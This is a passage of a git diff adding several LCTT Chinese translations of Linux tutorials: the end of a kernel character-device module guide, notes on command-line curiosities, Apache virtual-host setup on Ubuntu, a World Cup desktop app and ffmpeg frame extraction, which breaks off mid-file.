+内核内存使用**kmalloc()**来分配,并使用**kfree()**来释放;**kzalloc()**的风格是将内存设置为全零。不同于标准的**malloc()**,它的内核对应部分收到的标志指定了第二个参数中请求的内存类型。这里,**GFP_KERNEL**是说我们需要一个普通的内核内存(不是在DMA或高内存区中)以及如果需要的话函数可以睡眠(重新调度进程)。**sizeof(*buf)**是一种常见的方式,它用来获取可通过指针访问的结构体的大小。 + +你应该随时检查**kmalloc()**的返回值:访问NULL指针将导致内核异常。同时也需要注意**unlikely()**宏的使用。它(及其相对宏**likely()**)被广泛用于内核中,用于表明条件几乎总是真的(或假的)。它不会影响到控制流程,但是能帮助现代处理器通过分支预测技术来提升性能。 + +最后,注意**goto**语句。它们常常为认为是邪恶的,但是,Linux内核(以及一些其它系统软件)采用它们来实施集中式的函数退出。这样的结果是减少嵌套深度,使代码更具可读性,而且非常像更高级语言中的**try-catch**区块。 + +有了**buffer\_alloc()**和**buffer\_free()**,**open**和**close**方法就变得很简单了。 + + static int reverse_open(struct inode *inode, struct file *file) + { + int err = 0; + file->private_data = buffer_alloc(buffer_size); + ... + return err; + } + +**struct file**是一个标准的内核数据结构,用以存储打开的文件的信息,如当前文件位置(**file->f\_pos**)、标志(**file->f\_flags**),或者打开模式(**file->f\_mode**)等。另外一个字段**file->privatedata**用于关联文件到一些专有数据,它的类型是void *,而且它在文件拥有者以外,对内核不透明。我们将一个缓冲区存储在那里。 + +如果缓冲区分配失败,我们通过返回否定值(**-ENOMEM**)来为调用的用户空间代码标明。一个C库中调用的**open(2)**系统调用(如 **glibc**)将会检测这个并适当地设置**errno** 。 + +#### 学习如何读和写 #### + +“read”和“write”方法是真正完成工作的地方。当数据写入到缓冲区时,我们放弃之前的内容和反向地存储该字段,不需要任何临时存储。**read**方法仅仅是从内核缓冲区复制数据到用户空间。但是如果缓冲区还没有数据,**revers\_eread()**会做什么呢?在用户空间中,**read()**调用会在有可用数据前阻塞它。在内核中,你就必须等待。幸运的是,有一项机制用于处理这种情况,就是‘wait queues’。 + +想法很简单。如果当前进程需要等待某个事件,它的描述符(**struct task_struct**存储‘current’信息)被放进非可运行(睡眠中)状态,并添加到一个队列中。然后**schedule()**就被调用来选择另一个进程运行。生成事件的代码通过使用队列将等待进程放回**TASK\_RUNNING**状态来唤醒它们。调度程序将在以后在某个地方选择它们之一。Linux有多种非可运行状态,最值得注意的是**TASK\_INTERRUPTIBLE**(一个可以通过信号中断的睡眠)和**TASK\_KILLABLE**(一个可被杀死的睡眠中的进程)。所有这些都应该正确处理,并等待队列为你做这些事。 + +一个用以存储读取等待队列头的天然场所就是结构缓冲区,所以从为它添加**wait\_queue\_head_t read\_queue**字段开始。你也应该包含**linux/sched.h**头文件。可以使用DECLARE\_WAITQUEUE()宏来静态声明一个等待队列。在我们的情况下,需要动态初始化,因此添加下面这行到**buffer\_alloc()**: + + init_waitqueue_head(&buf->read_queue); + +我们等待可用数据;或者等待**read\_ptr != end**条件成立。我们也想要让等待操作可以被中断(如,通过Ctrl+C)。因此,“read”方法应该像这样开始: + + static ssize_t reverse_read(struct file *file, char __user * out, + size_t size, loff_t * off) + { + struct buffer *buf = file->private_data; + ssize_t result; + while (buf->read_ptr == buf->end) { + if (file->f_flags & O_NONBLOCK) { + result = -EAGAIN; + goto out; + } + if (wait_event_interruptible + (buf->read_queue, buf->read_ptr != buf->end)) { + result = -ERESTARTSYS; + goto out; + } + } + ... + +我们让它循环,直到有可用数据,如果没有则使用**wait\_event\_interruptible()**(它是一个宏,不是函数,这就是为什么要通过值的方式给队列传递)来等待。好吧,如果**wait\_event\_interruptible()**被中断,它返回一个非0值,这个值代表**-ERESTARTSYS**。这段代码意味着系统调用应该重新启动。**file->f\_flags**检查以非阻塞模式打开的文件数:如果没有数据,返回**-EAGAIN**。 + +我们不能使用**if()**来替代**while()**,因为可能有许多进程正等待数据。当**write**方法唤醒它们时,调度程序以不可预知的方式选择一个来运行,因此,在这段代码有机会执行的时候,缓冲区可能再次空出。现在,我们需要将数据从**buf->data** 复制到用户空间。**copy\_to\_user()**内核函数就干了此事: + + size = min(size, (size_t) (buf->end - buf->read_ptr)); + if (copy_to_user(out, buf->read_ptr, size)) { + result = -EFAULT; + goto out; + } + +如果用户空间指针错误,那么调用可能会失败;如果发生了此事,我们就返回**-EFAULT**。记住,不要相信任何来自内核外的事物! + + buf->read_ptr += size; + result = size; + out: + return result; + } + +为了使数据在任意块可读,需要进行简单运算。该方法返回读入的字节数,或者一个错误代码。 + +写方法更简短。首先,我们检查缓冲区是否有足够的空间,然后我们使用**copy\_from\_userspace()**函数来获取数据。再然后**read\_ptr**和结束指针会被重置,并且反转存储缓冲区内容: + + buf->end = buf->data + size; + buf->read_ptr = buf->data; + if (buf->end > buf->data) + reverse_phrase(buf->data, buf->end - 1); + +这里, **reverse\_phrase()**干了所有吃力的工作。它依赖于**reverse\_word()**函数,该函数相当简短并且标记为内联。这是另外一个常见的优化;但是,你不能过度使用。因为过多的内联会导致内核映像徒然增大。 + +最后,我们需要唤醒**read\_queue**中等待数据的进程,就跟先前讲过的那样。**wake\_up\_interruptible()**就是用来干此事的: + + wake_up_interruptible(&buf->read_queue); + +耶!你现在已经有了一个内核模块,它至少已经编译成功了。现在,是时候来测试了。 + +### 调试内核代码 ### + +> 或许,内核中最常见的调试方法就是打印。如果你愿意,你可以使用普通的**printk()** (假定使用**KERN\_DEBUG**日志等级)。然而,那儿还有更好的办法。如果你正在写一个设备驱动,这个设备驱动有它自己的“struct device”,可以使用**pr\_debug()**或者**dev\_dbg()**:它们支持动态调试(**dyndbg**)特性,并可以根据需要启用或者禁用(请查阅**Documentation/dynamic-debug-howto.txt**)。对于单纯的开发消息,使用**pr\_devel()**,除非设置了DEBUG,否则什么都不会做。要为我们的模块启用DEBUG,请添加以下行到Makefile中: + +> CFLAGS_reverse.o := -DDEBUG +> +> 完了之后,使用**dmesg**来查看**pr_debug()**或**pr_devel()**生成的调试信息。 +> 或者,你可以直接发送调试信息到控制台。要想这么干,你可以设置**console_loglevel**内核变量为8或者更大的值(**echo 8 /proc/sys/kernel/printk**),或者在高日志等级,如**KERN_ERR**,来临时打印要查询的调试信息。很自然,在发布代码前,你应该移除这样的调试声明。 + +> 注意内核消息出现在控制台,不要在Xterm这样的终端模拟器窗口中去查看;这也是在内核开发时,建议你不在X环境下进行的原因。 + +### 惊喜,惊喜! ### + +编译模块,然后加载进内核: + + $ make + $ sudo insmod reverse.ko buffer_size=2048 + $ lsmod + reverse 2419 0 + $ ls -l /dev/reverse + crw-rw-rw- 1 root root 10, 58 Feb 22 15:53 /dev/reverse + +一切似乎就位。现在,要测试模块是否正常工作,我们将写一段小程序来翻转它的第一个命令行参数。**main()**(再三检查错误)可能看上去像这样: + + int fd = open("/dev/reverse", O_RDWR); + write(fd, argv[1], strlen(argv[1])); + read(fd, argv[1], strlen(argv[1])); + printf("Read: %s\n", argv[1]); + +像这样运行: + + $ ./test 'A quick brown fox jumped over the lazy dog' + Read: dog lazy the over jumped fox brown quick A + +它工作正常!玩得更逗一点:试试传递单个单词或者单个字母的短语,空的字符串或者是非英语字符串(如果你有这样的键盘布局设置),以及其它任何东西。 + +现在,让我们让事情变得更好玩一点。我们将创建两个进程,它们共享一个文件描述符(及其内核缓冲区)。其中一个会持续写入字符串到设备,而另一个将读取这些字符串。在下例中,我们使用了**fork(2)**系统调用,而pthreads也很好用。我也省略打开和关闭设备的代码,并在此检查代码错误(又来了): + + char *phrase = "A quick brown fox jumped over the lazy dog"; + if (fork()) + /* Parent is the writer */ + while (1) + write(fd, phrase, len); + else + /* child is the reader */ + while (1) { + read(fd, buf, len); + printf("Read: %s\n", buf); + } + +你希望这个程序会输出什么呢?下面就是在我的笔记本上得到的东西: + + Read: dog lazy the over jumped fox brown quick A + Read: A kcicq brown fox jumped over the lazy dog + Read: A kciuq nworb xor jumped fox brown quick A + Read: A kciuq nworb xor jumped fox brown quick A + ... + +这里发生了什么呢?就像举行了一场比赛。我们认为**read**和**write**是原子操作,或者从头到尾一次执行一个指令。然而,内核确实无序并发的,随便就重新调度了**reverse\_phrase()**函数内部某个地方运行着的写入操作的内核部分。如果在写入操作结束前就调度了**read()**操作呢?就会产生数据不完整的状态。这样的bug非常难以找到。但是,怎样来处理这个问题呢? + +基本上,我们需要确保在写方法返回前没有**read**方法能被执行。如果你曾经编写过一个多线程的应用程序,你可能见过同步原语(锁),如互斥锁或者信号。Linux也有这些,但有些细微的差别。内核代码可以运行进程上下文(用户空间代码的“代表”工作,就像我们使用的方法)和终端上下文(例如,一个IRQ处理线程)。如果你已经在进程上下文中和并且你已经得到了所需的锁,你只需要简单地睡眠和重试直到成功为止。在中断上下文时你不能处于休眠状态,因此代码会在一个循环中运行直到锁可用。关联原语被称为自旋锁,但在我们的环境中,一个简单的互斥锁 —— 在特定时间内只有唯一一个进程能“占有”的对象 —— 就足够了。处于性能方面的考虑,现实的代码可能也会使用读-写信号。 + +锁总是保护某些数据(在我们的环境中,是一个“struct buffer”实例),而且也常常会把它们嵌入到它们所保护的结构体中。因此,我们添加一个互斥锁(‘struct mutex lock’)到“struct buffer”中。我们也必须用**mutex\_init()**来初始化互斥锁;**buffer\_alloc**是用来处理这件事的好地方。使用互斥锁的代码也必须包含**linux/mutex.h**。 + +互斥锁很像交通信号灯 —— 要是司机不看它和不听它的,它就没什么用。因此,在对缓冲区做操作并在操作完成时释放它之前,我们需要更新**reverse\_read()**和**reverse\_write()**来获取互斥锁。让我们来看看**read**方法 —— **write**的工作原理相同: + + static ssize_t reverse_read(struct file *file, char __user * out, + size_t size, loff_t * off) + { + struct buffer *buf = file->private_data; + ssize_t result; + if (mutex_lock_interruptible(&buf->lock)) { + result = -ERESTARTSYS; + goto out; + } + +我们在函数一开始就获取锁。**mutex\_lock\_interruptible()**要么得到互斥锁然后返回,要么让进程睡眠,直到有可用的互斥锁。就像前面一样,**\_interruptible**后缀意味着睡眠可以由信号来中断。 + + while (buf->read_ptr == buf->end) { + mutex_unlock(&buf->lock); + /* ... wait_event_interruptible() here ... */ + if (mutex_lock_interruptible(&buf->lock)) { + result = -ERESTARTSYS; + goto out; + } + } + +下面是我们的“等待数据”循环。当获取互斥锁时,或者发生称之为“死锁”的情境时,不应该让进程睡眠。因此,如果没有数据,我们释放互斥锁并调用**wait\_event\_interruptible()**。当它返回时,我们重新获取互斥锁并像往常一样继续: + + if (copy_to_user(out, buf->read_ptr, size)) { + result = -EFAULT; + goto out_unlock; + } + ... + out_unlock: + mutex_unlock(&buf->lock); + out: + return result; + +最后,当函数结束,或者在互斥锁被获取过程中发生错误时,互斥锁被解锁。重新编译模块(别忘了重新加载),然后再次进行测试。现在你应该没发现毁坏的数据了。 + +### 接下来是什么? ### + +现在你已经尝试了一次内核黑客。我们刚刚为你揭开了这个话题的外衣,里面还有更多东西供你探索。我们的第一个模块有意识地写得简单一点,在从中学到的概念在更复杂的环境中也一样。并发、方法表、注册回调函数、使进程睡眠以及唤醒进程,这些都是内核黑客们耳熟能详的东西,而现在你已经看过了它们的运作。或许某天,你的内核代码也将被加入到主线Linux源代码树中 —— 如果真这样,请联系我们! + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/be-a-kernel-hacker/ + +译者:[GOLinux](https://github.com/GOLinux) [disylee](https://github.com/disylee) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.libusb.org/ +[2]:http://fuse.sf.net/ +[3]:http://www.linuxvoice.com/be-a-kernel-hacker/www.netfilter.org/projects/libnetfilter_queue +[4]:http://lxr.free-electrons.com/ \ No newline at end of file diff --git a/published/201406/20140604 Command line secrets.md b/published/201406/20140604 Command line secrets.md new file mode 100644 index 0000000000..0717b6e6a0 --- /dev/null +++ b/published/201406/20140604 Command line secrets.md @@ -0,0 +1,42 @@ +命令行之秘 +================================================================================ +有很多使用命令行的理由。正如我们在[issue 3 of Linux Voice][1]中展示的那样,它是与你的计算机交互的最强大和简明的方法。但是,我们还是先来看一下命令行的一些隐晦的使用场景(或许有些人会觉得没有意义)。 + +### 浏览网页 ### + +Firefox和Chromium都是很好的浏览器,但是你有没有发现它们有点太图形化了?没有?看一下下面的视频,我们使用elinks web浏览器显示了与黑客相关的新闻。界面可能没有其他浏览器好看,但是它的目标是显示绝大多数的web页面! + + + +作为一个极客,当你只有SSH连接方式时,需要快速检查一下能否访问网页时,这将是一个很便利的方法。 + +### 在维基百科上查找想要的信息 ### + +是的,上面我们已经提到了使用Web,但是web不是查看维基百科的唯一方式。David Leadbeater已经构建了一个将维基百科的内容放入DNS记录的DNS服务器。这能够让你使用像dig这样的命令行工具来抓取你想要的信息。 + + + +### 看电影 ### + +当你想要看《星球大战 4 :新的希望》时,不再需要使用Netflix或者YouTube,只要在你的终端中直接telnet towel.blinkenlights.nl就行了。 + + + +### 玩游戏 ### + +再Steam来之前Linux下就有许多游戏,并且很多都不需要图形界面,比如NetHack、Robots和Greed。下面是Moon Buggy 的一个演示: + + + +LCTT译注:大家注意到这篇文章中的视频了么?不是通常的FLA,也不是MP4、AVI。而是一个专门演示脚本“功夫”的一个网站提供的:http://shelr.tv/ ,欢迎大家也去演练下你的脚本功夫吧! +LCTT译注:为了正常呈现,我专门临时打开了网站对IFRAME的限制。。。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxvoice.com/commandline-secrets/ + +译者:[johnhoow](https://github.com/johnhoow ) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxvoice.com/issue-3-is-out/ diff --git a/published/201406/20140604 Setup Virtual Hosts In Apache On Ubuntu 14.04 LTS.md b/published/201406/20140604 Setup Virtual Hosts In Apache On Ubuntu 14.04 LTS.md new file mode 100644 index 0000000000..ab3625c003 --- /dev/null +++ b/published/201406/20140604 Setup Virtual Hosts In Apache On Ubuntu 14.04 LTS.md @@ -0,0 +1,233 @@ +在Ubuntu 14.04 LTS系统中设置Apache虚拟主机 +================================================================================ + +**虚拟主机**常用于在一个单独的IP地址上提供多个域名的网站服务。如果有人想在单个VPS的单个IP地址运行多个网站,这是非常有用的。 + +在这个教程中,让我告诉你如何设置在Ubuntu 14.04 LTS的Apache网页服务器设置虚拟主机。请注意,这个教程只针对Ubuntu14.04的32位版本。 + +我不保证它也可以工作在其它更低的Ubuntu版本或者Ubuntu衍生版本(虽然可能过程是类似的)。 + +###方案### + +在这个教程中,我会使用Ubuntu 14.04 32位 LTS,并搭建2个测试网站分别命名为“**unixmen1.local**” 和 “**unixmen2.local**”.我的测试机分别为**192.168.1.250/24**和**server.unixmen.local**。你可以根据你的需要更改虚拟域名。 + +###安装Apache网站服务器### + +安装apache服务器之前,我们来更新一下我们的Ubuntu服务器: + + sudo apt-get update + +然后,用下面命令来安装apache网络服务器: + + sudo apt-get install apache2 + +安装apache服务器之后,让我们通过这个URL **http://你的服务器的IP地址/** 来测试网站服务器是否正常工作 +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/Apache2-Ubuntu-Default-Page-It-works-Mozilla-Firefox_001.png) + +如你所见,apache服务器已经工作了。 + +###设置虚拟主机### + +#### 1.创建虚拟目录 ## + +现在,让我们继续安装虚拟主机。正如我先前所述,我要新建2台虚拟主机分别命名为“**unixmen1.local**”和“**unixmen2.local**”. + +创建一个公用的文件夹来存放这两台虚拟主机的数据。 + +首先,让我们为unixmen1.local这个站点创建一个目录: + + sudo mkdir -p /var/www/unixmen1.local/public_html + +接着,为for unixmen2.local站点创建一个目录: + + sudo mkdir -p /var/www/unixmen2.local/public_html + +### 2. 设置所有者和权限 #### + +上面目录现在只有root拥有权限。我们需要修改这2个目录的拥有权给普通用户,而不仅仅是root用户。 + + sudo chown -R $USER:$USER /var/www/unixmen1.local/public_html/ + sudo chown -R $USER:$USER /var/www/unixmen2.local/public_html/ + +“**$USER**”变量指向了当前的登录用户。 + +设置读写权限给apache网页根目录(/var/www)及其子目录,这样每个人都可以从目录中读取文件。 + + sudo chmod -R 755 /var/www/ + +这样,我们就创建好了一些文件夹来保存网络相关数据并分配必要的权限和所属用户。 + +#### 4. 为虚拟主机创建示例页 #### + +现在,我们给网站增加示例页。第一步,让我们给虚拟主机**unixmen1.local**创建一个示例页。 + +给unixmen1.local虚拟主机创建一个示例页, + + sudo vi /var/www/unixmen1.local/public_html/index.html + +添加以下内容: + + + + www.unixmen1.local + + +

Welcome To Unixmen1.local website

+ + + + +保存并关闭文件。 + +同样的,添加示例页到第二台虚拟主机。 + + sudo vi /var/www/unixmen2.local/public_html/index.html + + +添加以下内容: + + + + www.unixmen2.local + + +

Welcome To Unixmen2.local website

+ + + +保存并关闭文件。 + +#### 5. 创建虚拟主机配置文件#### + +默认情况下,apache有一个默认的虚拟主机文件叫000-default.conf。我们将会复制**000-default.conf**文件内容到我们新的虚拟主机配置文件中。 + + sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/unixmen1.local.conf + sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/unixmen2.local.conf + +确保虚拟主机配置文件末尾包含.conf扩展名。 + +现在,修改unximen1.local.conf文件以符合需求。 + + sudo vi /etc/apache2/sites-available/unixmen1.local.conf + +使相关的变化直接呈现在unixmen1站点中(译注:以“#”开头的注释行可以忽略。)。 + + + # The ServerName directive sets the request scheme, hostname and port that + # the server uses to identify itself. This is used when creating + # redirection URLs. In the context of virtual hosts, the ServerName + # specifies what hostname must appear in the request's Host: header to + # match this virtual host. For the default virtual host (this file) this + # value is not decisive as it is used as a last resort host regardless. + # However, you must set it for any further virtual host explicitly. + #ServerName www.example.com + + ServerAdmin webmaster@unixmen1.local + ServerName unixmen1.local + ServerAlias www.unixmen1.local + DocumentRoot /var/www/unixmen1.local/public_html + + # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, + # error, crit, alert, emerg. + # It is also possible to configure the loglevel for particular + # modules, e.g. + #LogLevel info ssl:warn + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + # For most configuration files from conf-available/, which are + # enabled or disabled at a global level, it is possible to + # include a line for only one particular virtual host. For example the + # following line enables the CGI configuration for this host only + # after it has been globally disabled with "a2disconf". + #Include conf-available/serve-cgi-bin.conf + + + +同理,修改第二台主机文件。 + + sudo vi /etc/apache2/sites-available/unixmen2.local.conf + +使相关的修改在unixmen2 站点呈现出来。 + + + # The ServerName directive sets the request scheme, hostname and port that + # the server uses to identify itself. This is used when creating + # redirection URLs. In the context of virtual hosts, the ServerName + # specifies what hostname must appear in the request's Host: header to + # match this virtual host. For the default virtual host (this file) this + # value is not decisive as it is used as a last resort host regardless. + # However, you must set it for any further virtual host explicitly. + #ServerName www.example.com + + ServerAdmin webmaster@unixmen2.local + ServerName unixmen2.local + ServerAlias www.unixmen2.local + DocumentRoot /var/www/unixmen2.local/public_html + + # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, + # error, crit, alert, emerg. + # It is also possible to configure the loglevel for particular + # modules, e.g. + #LogLevel info ssl:warn + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + # For most configuration files from conf-available/, which are + # enabled or disabled at a global level, it is possible to + # include a line for only one particular virtual host. For example the + # following line enables the CGI configuration for this host only + # after it has been globally disabled with "a2disconf". + #Include conf-available/serve-cgi-bin.conf + + + +修改虚拟主机文件后,禁用默认的虚拟主机配置(000.default.conf),然后启用新的虚拟主机配置,如下所示。 + + sudo a2dissite 000-default.conf + sudo a2ensite unixmen1.local.conf + sudo a2ensite unixmen2.local.conf + +最后,重启apache服务器。 + + sudo service apache2 restart + +就是这样。现在,我们成功地配置了apach虚拟主机在我们的Ubuntu服务器上 + +###测试虚拟主机### + +编辑**/etc/hosts**文件, + + sudo vi /etc/hosts + +在文件末尾添加如下所示的虚拟域名。 + + 192.168.1.250 unixmen1.local + 192.168.1.250 unixmen2.local + +保存并关闭文件。 + +打开你的浏览器并访问**http://unixmen1.local** 或 **http://unixmen2.local**。你将会看到我们之前创建的示例页。 + +**Unixmen1.local 测试页:** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/www.unixmen1.local-Mozilla-Firefox_004.png) + + +**Unixmen2.local 测试页** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/www.unixmen2.local-Mozilla-Firefox_005.png) + +如果你想从你的远程系统访问这些站点,你需要在你的DNS服务器添加实际域名记录。不过,我没有真实的域名和DNS服务器,我只想通过我的本地系统测试,那么它刚好如我所愿地工作。 + +Cheers! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-virtual-hosts-apache-ubuntu-14-04-lts/ + +译者:[disylee](https://github.com/disylee) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140607 Cup 2014 Brazil--Watch FIFA World Cup 2014 Competition in Your Linux Desktop.md b/published/201406/20140607 Cup 2014 Brazil--Watch FIFA World Cup 2014 Competition in Your Linux Desktop.md new file mode 100644 index 0000000000..d7922c31ee --- /dev/null +++ b/published/201406/20140607 Cup 2014 Brazil--Watch FIFA World Cup 2014 Competition in Your Linux Desktop.md @@ -0,0 +1,135 @@ +在linux桌面上观看2014年巴西世界杯比赛! +================================================================================ +足球是世界上受众最广和观众最多的运动,现代足球起源于英国。足球运动员平均每场比赛要跑6个多英里。上届南非世界杯有近10亿的电视观众,而今年的的观赛数量预计还要增加。 + +2014年第20界世界杯在巴西举行,时间安排为从6月12号开始持续到7月13号,共有32个国家参加这项赛事。 + +爱足球的小伙子们,我们将要介绍一款可以提供最新的赛况以及你喜欢的球队的进球数信息的应用程序,它叫做“icup 2014 Brazil”。下面让我们介绍它的特点,用法和安装等。 + +![iCup 2014 Brazil](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014.jpeg) + +*iCup 2014 Brazil* + +### 什么是“icup 2014 Brazil” ### + +“icup 2014 Brazil”简单的说是一个应用程序,在linux桌面为你提供2014年世界杯的最新比赛赛况。 + +### “icup 2014 Brazil”的特点### + +- 自适应的用户界面,比如自动缩放 +- 迅速查看战绩 +- 支持Facebook、twitter和Google+社交分享功能 +- 支持Retina显示输出 +- 实时跟踪比赛结果 +- 包括32个国家的国歌小工具配合露天广场效果很不错 +- 内置日历和时区工具,实时的显示当天数据,图像化展示最新的战况和得分 +- 支持代理 + + +### 平台和框架支持 ### + +这款软件可以运行在Mac、windows和linux上,特别提醒,在Linux上,它是为x86的CPU设计的,虽然它也可以在x64的平台上安装,不过我们需要做一下设置。 + +#### 在不同平台的技术规范 #### + +- 实时结果,日历,数据分组,第二阶段整合,社交网络连接和多语言支持,这些支持全平台 +- Retina显示支持,这个不支持windows和linux,仅支持Mac OS +- 详细的统计-支持linux。在windows和Mac需要捐赠才行 +- 声音小工具-支持MAC和linux,windows不确定 + +**重要**: 上面的特点都支持,一些具体的特性除了linux外都不是免费提供的,这是为了支付服务器和带宽费用。对于linux用户来说,任何细节不需要关心,高兴的用去吧。 + +### Linux下安装“icup 2014 Brazil” ### + +首先去[“icup 2014 Brazil”官方下载页面][1]下载你电脑平台的软件版本 + +#### 32位下的安装步骤 #### + + # cd Downloads/ + # tar xvf iCup_2014_FREE-Brazil_1.1_linux.tar.bz2 + # cd iCup\ 2014\ FREE\ -\ Brazil\ 1.1/ + # chmod 755 iCup\ 2014\ FREE\ -\ Brazil + +如上文所说,这个应用程序只为X86架构设计,为了在64位架构下安装32位的软件,我们需要在系统上安装一些软件包:**GTK+2**和**libstdc++.so.6**。 + +不只是这款软件,一大堆Linux下的软件不支持64位架构,例如**Skype**,我们也需要这样调整我们的系统来安装这些软件。 + +#### 在64位系统下 #### + +安装**GTK+2**和**libstdc++so.6**,用如下apt或者yum命令 + + $ sudo apt-get install libgtk2.0-0 libstdc++6 [在基于Debian系统上执行这个命令] + +如果有报错的话,运行下面的命令来解决 + + $ sudo apt-get -f install + +---------- + + # yum install gtk2 libstdc++ [在基于Redhat系统上执行这个命令] + +需要的软件包安装完后,就可以在64位系统下安装32位的软件了,进入你的下载目录,找到“**icup 2014 Brazil**”安装包然后执行下面的命令 + + # cd Downloads/ + # tar xvf iCup_2014_FREE-Brazil_1.1_linux.tar.bz2 + # cd iCup\ 2014\ FREE\ -\ Brazil\ 1.1/ + # chmod 755 iCup\ 2014\ FREE\ -\ Brazil + +然后,进入软件所在目录,双击可执行文件启动软件。下面的截屏图中看不到所有的信息,**因为本文写作时2014年世界杯现在还没开始呢,开始后我们就能看到结果了**。 + +![iCup Brazil 2014](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-01-620x437.jpeg) + +iCup Brazil 2014 + +无具体信息,世界杯尚未开始。 + +![Match Detailed Information](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-02-620x439.jpeg) + +Match Detailed Information + +分组和队伍 + +![Groups and Teams](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-03-620x439.jpeg) + +Groups and Teams + +第二阶段详细信息 + +![2nd stage Detailed Information](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-04-620x438.jpeg) + +2nd stage Detailed Information + +比赛细节,尚未完整 + +![Match Summary](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-05-620x440.jpeg) + +Match Summary + +集成语言切换和社交分享按钮 + +![Language Change](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-06-620x440.jpeg) + +Language Change + +Linux上捐赠是可选的,你可以贡献你的心意。 + +![Donation](http://www.tecmint.com/wp-content/uploads/2014/06/Football-World-Cup-2014-07-620x435.jpeg) + +Donation + +### 总结 ### + +上面的这个软件有望成为足球粉丝的一大福利,赶快在线试用吧。 + +好了,我马上又有一个有趣的文章了。请保持关注Tecmint.com。请在评论区对我们的工作给予反馈。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/view-fifa-world-cup-matche-results/ + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.e-link.it/icup/brazil2014/icup-brazil-2014-desktop-app.php diff --git a/published/201406/20140607 How To Extract Images From Videos Using ffmpeg.md b/published/201406/20140607 How To Extract Images From Videos Using ffmpeg.md new file mode 100644 index 0000000000..d86b18b2b3 --- /dev/null +++ b/published/201406/20140607 How To Extract Images From Videos Using ffmpeg.md @@ -0,0 +1,71 @@ +如何使用ffmpeg从视频中提取图片 +================================================================================ + +你曾想过从一个视频文件中提取图片吗?在Linux下就可以,在这个教程中我将使用ffmpeg来从视频中获取图片。 + +### 什么是ffmpeg?What is ffmpeg? ### + +ffmpeg是一个非常有用的命令行程序,它可以用来转码媒体文件。它是领先的多媒体框架FFmpeg的一部分,其有很多功能,比如解码、编码、转码、混流、分离、转化为流、过滤以及播放几乎所有的由人和机器创建的媒体文件。 + +在这个框架中包含有各种工具,每一个用于完成特定的功能。例如,ffserver能够将多媒体文件转化为用于实时广播的流,ffprobe用于分析多媒体流,ffplay可以当作一个简易的媒体播放器,**ffmpeg**则能够转换多媒体文件格式。 + +如果你感兴趣,以下列出的是FFmpeg框架中包含的开发者库: + +- libavutil是一个包含简化编程功能的库,其中包括随机数生成器,数据结构,数学代码,核心多媒体工具等更多东西。 +- libavcodec是一个包含音频/视频解码器和编码器的库。 +- libavformat是一个包含了多媒体格式的分离器和混流器的库。 +- libavdevice是一个包含输入输出设备的库,用于捕捉和渲染很多来自常用的多媒体输入/输出软件框架的数据,包括Video4Linux,Video4Linux2,VfW和ALSA。 +- libavfilter是一个包含媒体过滤器的库。 +- libswscale是一个用于执行高度优化的图像缩放和颜色空间/像素格式转换操作的库。 +- libswresample是一个用于执行高度优化的音频重采样,重新矩阵和取样格式转换操作的库。 + +**注意**:ffmpeg和FFmpeg不是同一个东西。FFmpeg是框架,而ffmpeg是一个其中的一个功能。 + +### 开始行动 ### + +如果你想跟着教程做,你需要在你的linux机中安装ffmpeg命令行功能。Ubuntu用户可以在终端运行以下命令轻松安装ffmpeg功能。 + + sudo apt-get install ffmpeg + +Fedora用户可以从源中直接安装ffmpeg。 + + yum install ffmpeg + +或者你可以编译源代码。在你使用源代码编译并安装它之前,你需要从官网上下载源代码,使用以下命令。 + + wget http://www.ffmpeg.org/releases/ffmpeg-2.2.3.tar.bz2 + +用下面命令解压文档。 + + tar -xvjf ffmpeg-2.2.3.tar.bz2 + +文档解压完成后进入解压后的目录运行以下命令。 + + ./configure + make + +编译完成后运行下面的命令安装ffmpeg。 + + su -c 'make install' + +全部的事情并没有完成,而你将要做的所有事就是在终端键入一些命令而且将能够从任何视频文件中抓取图片。 + +在做之后的步骤前,确保你在想要提取图片的视频文件的目录下。使用cd命令切换到正确的目录。教程中我使用的视频在我的桌面上,我用以下命令将目录切换到我的桌面。 + + cd /home/oltjano/Desktop + +之后我使用以下命令从视频中提取图片。 + + ffmpeg -i "你是我的小呀小苹果儿.mp4" -r 1 -q:v 2 -f image2 image-3%d.jpeg + +**-i**选项用来获取输入文件,在这里是视频文件名**你是我的小呀小苹果儿.mp4**,-r选项设置每秒提取图片的帧数。我想要每秒提取一帧。 + +之后有一个重要的选项是-q:v,应该留意这个选项并且我很喜欢用它,它用来设置提取到的图片质量。我总是设置值为2来从视频中获取高质量图片。 + +-------------------------------------------------------------------------------- + +via: 